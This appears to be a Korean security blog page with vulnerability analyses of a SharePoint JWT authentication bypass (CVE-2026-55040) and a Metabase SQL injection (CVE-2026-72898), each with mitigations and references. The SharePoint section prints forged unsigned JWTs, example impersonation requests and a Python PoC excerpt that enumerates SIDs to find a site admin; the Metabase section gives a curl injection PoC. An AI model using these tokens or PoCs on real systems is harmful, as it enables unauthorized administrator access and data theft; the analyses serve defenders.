aU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.

- /_api/web/currentuser와 같은 인증된 엔드포인트에 요청을 보내 SharePoint 사용자로 인증되었음을 증명
> 본 예시는 SID RID 500을 사용한 관리자 계정 가장 사례이며, 취약점을 악용해 특정 관리자 계정에 한정되지 않고 공격자가 식별할 수 있는 SharePoint 사용자를 대상으로 악용 가능

[요청 예시]
GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose

[응답 예시]
HTTP/1.1 200 OK
...

{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}

- /_ api/contextinfo 엔드포인트에 POST 요청을 보내 FormDigestValue 값 획득 및 해당 사용자로 SharePoint와 상호작용 가능

[요청 예시]
POST /_api/contextinfo HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json
Content-Length: 0

[응답 예시]
HTTP/1.1 200 OK
...
{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}

2.3 PoC

- 위조한 JWT를 이용해 대상 환경의 사용자를 확인하고, 셰어포인트 사이트 관리자 계정을 찾아내는 과정까지 자동화 [10]

# Step 1: Auto-discovery phase
print("\n[1] Auto-discovery...")

if not use_http:
    # Discover x5t, realm from STS metadata (HTTPS)
    if not all([args.x5t, args.realm]):
        print("[+] Discovering x5t and realm from STS metadata...")
        sts = discover_sts_metadata(target, port)
        if sts:
            if not args.x5t and sts.get("x5t"):
                args.x5t = sts["x5t"]
                print(f"  [*] x5t: {args.x5t}")
            if not args.realm and sts.get("realm"):
                args.realm = sts["realm"]
                print(f"  [*] realm: {args.realm}")

# Auto-SID RID iteration: find a site admin by trying RIDs
if use_sid and not args.sid and has_domain_sid:
    domain_sid = args._domain_sid

    # Build RID list: 500 first (domain admin), then 1000+ (domain users)
    rids_to_try = [500]
    rids_to_try.extend(range(1000, args.max_rid + 1))

    for rid in rids_to_try:
        sid = f"{domain_sid}-{rid}"
        user_info = check_sid_for_admin(
            args.host, args.realm, args.x5t, sid, scheme, port
        )

        if user_info:
            is_admin = user_info['is_site_admin']

            if is_admin and not site_admin:
                site_admin = user_info
                break

    if site_admin:
        args.sid = site_admin['sid']

# Determine identity mode (UPN vs SID vs default local service)
if use_upn:
    nameid = "upn_bypass"
    nii = "urn:office:idp:activedirectory"
    extra_claims = {"upn": args.upn}
elif use_sid or args.sid:
    nameid = args.sid
    nii = "urn:office:idp:activedirectory"
    extra_claims = None
else:
    nameid = "0#.w|nt authority\\local service"
    nii = "AccessToken"
    extra_claims = {"upn": "x@localhost"}

# Step 2: Forge JWT
print("\n[2] Forging JWT token...")

token = forge_jwt(args.host, args.realm, args.x5t, nameid, nii, extra_claims)

# Step 3: Get digest
print("\n[3] Obtaining form digest...")

digest = get_digest(base_url, token, args.host)

3. 대응방안

- 벤더사 제공 업데이트 적용 [11][12]

- 즉각적인 업데이트가 어려울 경우 권고 사항
> 인터넷에서 SharePoint에 직접 접근할 필요가 없다면 외부 접근 차단
> VPN 또는 Zero Trust Access 등을 통해 허용된 사용자만 SharePoint에 접근하도록 제한
> SharePoint/IIS 로그에서 비정상적인 인증 요청과 예상하지 못한 사용자 활동 확인
> SharePoint 서비스 계정 및 관리자 계정의 권한 최소화

4. 참고

[1] https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-55040
[3] https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/
[4] https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/
[5] https://auth-wiki.logto.io/ko/claim
[6] https://learn.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters.validateaudience?view=msal-web-dotnet-latest
[7] https://learn.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters.validateissuer?view=msal-web-dotnet-latest
[8] https://learn.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters.requiresignedtokens?view=msal-web-dotnet-latest
[9] https://portswigger.net/kb/issues/00200901_jwt-none-algorithm-supported
[10] https://github.com/sfewer-r7/CVE-2026-55040
[11] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
[12] https://krcert.or.kr/kr/bbs/view.do?bbsId=B0000133&menuNo=205020&nttId=72130
[13] https://dailyo.net/cve-2026-55040-sharepoint-jwt-authentication-bypass/
[14] https://www.dailysecu.com/news/articleView.html?idxno=208051

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208004

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208010
[2] https://www.police.go.kr/user/bbs/BD_selectBbs.do?q_bbsCode=1002&q_bbscttSn=20260811091114659&q_tab=&q_searchKeyTy=&q_searchVal=&q_rowPerPage=10&q_currPage=1&q_sortName=&q_sortOrder=&
[3] https://www.cve.org/CVERecord?id=CVE-2024-55591
[4] https://www.cve.org/CVERecord?id=CVE-2025-24472
[5] https://github.com/fin3ss3g0d/secretsdump.py
[6] https://github.com/fortra/impacket/blob/master/examples/psexec.py
[7] https://github.com/fortra/impacket/blob/master/impacket/examples/smbclient.py

1. Metabase

- 다양한 데이터 소스로부터 데이터 가공 및 시각화 기능을 제공하는 오픈 소스 BI(Business Intelligence) 솔루션 [1]

※ Business Intelligence : 조직의 데이터를 수집, 저장 및 분석하여 사실에 기반한 의사결정을 내리도록 돕는 기술, 도구, 프로세스의 집합

2. 취약점

- 비밀번호 재설정 엔드포인트 /api/session/reset_password에서 요청에 포함된 user-id 값이 제거되지 않고 내부 로직으로 전달되고 데이터 타입 검증 없이 DB 쿼리에 사용되어 인증 없이 관리자 권한을 확보할 수 있는 SQL 인젝션 취약점 (CVSS: 10.0)

> 공격자는 관리자 권한을 확보한 뒤 시스템 설정 변경 또는 인증정보 탈취, 데이터 조회 및 반출 가능

영향받는 버전
Metabase
- 58.x : 58.0 ≤ 버전 < 58.23
- 59.x : 59.0 ≤ 버전 < 59.20
- 60.x : 60.0 ≤ 버전 < 60.16
- 61.x : 61.0 ≤ 버전 < 61.10
- 62.x : 62.0 ≤ 버전 < 62.8
- 63.x : 63.0 ≤ 버전 < 63.3

2.1 상세 분석

- 취약 버전에서는 먼저 merge()를 통해 요청 데이터와 인증 결과 맵을 병합하며, 두 번째 맵의 값이 첫 번째 맵의 값을 덮어씀
> 이때, 두 번째 맵에 동일한 키가 존재하면 두 번째 맵의 값이 사용되며, 첫 번째 맵에만 존재하는 키는 그대로 결과에 유지됨
> 인증에 실패할 경우 authentication result에 user-id가 포함되지 않으므로 요청 데이터에 포함된 user-id가 병합 과정에서 그대로 남아있게 됨

(merge request (Authentication Result)).

※ Clojure의 merge()는 동일한 키가 존재할 경우 두 번째 맵의 값을 사용하며, 두 번째 맵에 해당 키가 존재하지 않으면 첫 번째 맵의 키-값이 그대로 유지됨

- 이후 파싱 과정에서 JSON 키를 Clojure의 키워드로 변환하는 과정을 거침
> 해당 변환은 일반적인 과정이나, 해당 취약점에서는 다음 공격 단계를 가능하게 만들어줌

[JSON 예시]
{"user-id": {"raw": "SQL"}}

[Clojure 예시]
{:user-id {:raw "SQL"}}

- Clojure에는 SQL 쿼리를 문자열 조합 대신 Clojure 데이터 구조로 작성하고 조작할 수 있게 해주는 라이브러리 HoneySQL가 존재 [4]
> HoneySQL의 :raw 표현은 해당 값을 SQL fragment로 취급하여 일반적인 파라미터 바인딩을 거치지 않고 SQL 표현식에 포함시킬 수 있음
> 공격자가 전달한 {:raw "SQL"} 형태의 user-id가 t2/select-one의 :id 값으로 전달되고 해석되면서 공격자가 제어한 SQL이 파라미터화되지 않은 형태로 쿼리에 포함되어 SQL Injection이 발생

(when-let [user-id (:user-id $)]
  (t2/select-one [:model/User ...] :id user-id))

- PoC 예시

curl -X POST <https://TARGET/api/session/reset_password> \
-H "Content-Type: application/json" \
-d '{"token":"x","password":"y","user-id":{"raw":"SQL_PLACEHOLDER"}}'

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [5][6][7]
> 취약 버전과 패치 버전을 비교해보면, 취약 버전에서는 user-id에 대한 검증 없이 사용하였으나, 패치 버전에서는 pos-int 검증을 추가해 user-id 값이 양의 정수인지 검증하는 과정이 추가 [3]
> 따라서, {:raw "..."}와 같은 공격자 제어 map은 pos-int? 검사를 통과하지 못하고 t2/select-one에 전달되지 않음

(when-let [user-id (:user-id $)]
  -  (t2/select-one [:model/User ...] :id user-id))
  +  (if (pos-int? user-id)
  +    (t2/select-one [:model/User ...] :id user-id)
  +    (log/warnf "Provider %s returned a non-positive-int :user-id (type %s); refusing to resolve a user."
  +               provider (type user-id))))

- 즉시 업그레이드가 불가할 경우 /api/session/reset_password 엔드포인트 차단

- 업그레이드 이후 권고 사항
① Metabase 애플리케이션 데이터베이스에서 core_session 테이블의 모든 행(row)을 삭제해 모든 활성 사용자 세션을 즉시 만료
② API 키 목록을 검토 및 인지하지 못한 키 삭제
③ 관리자 계정의 의심스러운 변경 사항 확인
④ 연결된 모든 데이터베이스의 자격 증명 교체
⑤ 데이터 웨어하우스 로그를 검토하여 무단 접근 흔적 확인
⑥ Metabase 활동 내역 및 쿼리 이력을 검토하여 예상치 못한 작업 또는 무단 작업 확인

- 로그 점검
> POST /api/session/reset_password 요청에서 HTTP 400 오류가 발생한 뒤,
> GET /api/user/current 요청이 HTTP 200으로 성공한 기록이 있다면 침해 가능성 존재

4. 참고

[1] https://www.metabase.com/
[2] https://www.cve.org/CVERecord?id=CVE-2026-72898
[3] https://www.wiz.io/blog/inside-the-metabase-sqli-exploited-in-the-wild
[4] https://github.com/seancorfield/honeysql
[5] https://www.metabase.com/blog/security-update
[6] https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=72157&menuNo=205020
[8] https://www.dailysecu.com/news/articleView.html?idxno=208005